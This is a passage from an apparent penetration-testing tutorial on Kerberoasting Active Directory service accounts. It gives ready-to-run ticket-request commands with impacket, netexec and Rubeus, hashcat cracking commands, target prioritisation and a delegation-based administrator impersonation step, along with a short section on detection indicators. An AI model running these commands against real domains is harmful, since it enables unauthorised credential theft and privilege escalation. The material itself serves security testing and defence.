Highestpwdlastset > 1 year oldPassword hasn’t changed in years — likely weak and crackable
HighadminCount = 1Account was (or is) in a privileged group
HighService type = MSSQL, Exchange, or backupOften have elevated privileges on other systems
Mediumpwdlastset 6-12 months oldModerate chance of cracking
Lowpwdlastset < 90 daysRecently changed — likely complex password
LowestComputer accounts (ending in $)Machine accounts have 120+ character random passwords — not crackable

Example Priority Analysis:

Get detailed info for prioritization
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting --admin-count --pwd-last-set

Manual review of output:
# sql_service   2020-06-22    AdminCount: 1   -> PRIORITY 1 (old + privileged)
# backup_svc    2021-11-03    AdminCount: 0   -> PRIORITY 2 (old, not privileged)
# web_svc       2025-12-01    AdminCount: 0   -> PRIORITY 3 (recent, not privileged)

Cracking Kerberoast Hashes

Kerberoast tickets are encrypted with the service account’s password hash. The encryption type depends on the domain functional level and account configuration.

Identifying Hash Format
View the first few characters of the hash to identify type
cat kerberoast_hashes.txt | head -1

# $krb5tgs$23$*... -> RC4-HMAC (type 23) - Most common, fastest to crack
# $krb5tgs$18$*... -> AES256 (type 18) - Slower to crack, requires more resources
# $krb5tgs$17$*... -> AES128 (type 17) - Less common
Cracking with Hashcat
RC4-HMAC (type 23) — most common, fastest
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule -O

AES256 (type 18) — slower, requires GPU with AES acceleration
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule

AES128 (type 17)
hashcat -m 19600 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule

With larger wordlist and ruleset for difficult hashes
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r rockyou-30000.rule -O --force

Expected Cracking Times (RTX 4090):

 
 
Password ComplexityRC4-HMAC (Type 23)AES256 (Type 18)
8 chars, alphanumeric< 1 minute~5 minutes
8 chars, complex~5 minutes~30 minutes
10 chars, alphanumeric~1 hour~6 hours
10 chars, complex~1 day~1 week

Advanced Kerberoasting: Targeted Attacks

Kerberoasting a Specific Account
If you know a specific service account exists
GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -request -spn MSSQLSvc/sql01.corp.example.com

Using Rubeus for targeted request
Rubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.example.com"
Kerberoasting Across a Forest
With credentials for a forest-trusted domain
GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -target-domain finance.corp.example.com
Constrained Delegation Kerberoasting

When an account has constrained delegation (msDS-AllowedToDelegateTo), the TGS tickets it requests can sometimes be used for privilege escalation:

Find accounts with constrained delegation
netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --constrained-delegation

Request TGS for the allowed services
Rubeus.exe s4u /user:sql_service /rc4:HASH /impersonateuser:administrator /msdsspn:"HTTP/web01.corp.example.com"

Defensive Indicators (For Blue Teams)

Kerberoasting detection relies on anomalous TGS request patterns:

 
 
IndicatorNormal BaselineKerberoasting Indicator
TGS requests per user< 5 per hour> 20 per hour (especially for SPNs)
SPNs requestedUser’s normal servicesUnusual SPNs (SQL, backup, admin)
Time of requestsBusiness hoursOff-hours or consistent intervals
Source IPKnown workstationUnusual or scanning IP
Encryption typeAES (typical)RC4 requests (downgrade indicator)

Event IDs to Monitor:

  • 4769 (Kerberos service ticket request) — High volume from single user

  • 4768 (Kerberos TGT request) — Unusual time patterns

  • 4771 (Kerberos pre-authentication failed) — Spraying indicator

Kerberoasting vs. AS-REP Roasting

 
 
FeatureKerberoastingAS-REP Roasting
TargetAccounts with SPNsAccounts with pre-authentication disabled
Ticket typeTGS (Service Ticket)AS-REP (Authentication Reply)
Requires user to beAuthenticated to domainNot required (unauthenticated possible)
Cracking difficultyModerate (service accounts often weak)Moderate
PrevalenceVery commonLess common (pre-auth is rarely disabled)
CommandGetUserSPNs.pyGetNPUsers.py

Note: AS-REP roasting is covered in Part 2 of this series.

The SPN Attack Surface Summary

The Service Principal Name attack surface exists in every Active Directory domain because:

  1. Kerberos requires SPNs to function

  2. The KDC does not check authorization for ticket requests

  3. Service account passwords are often weak or unchanged for years

  4. Domain users (even low-privileged) can request any SPN ticket

What makes Kerberoasting so effective in 2026:

  • Requires only standard domain user credentials

  • Offline cracking means no network detection after ticket collection

  • Service accounts frequently have elevated privileges

  • Many organizations still use RC4 encryption for Kerberos (fastest to crack)

  • Password rotation for service accounts is often neglected

When Kerberoasting fails: If the domain functional level is 2016+ and all service accounts use AES encryption with 20+ character random passwords, Kerberoasting may yield uncrackable hashes. In these environments, pivot to delegation attacks or ACL abuse (covered in Part 2).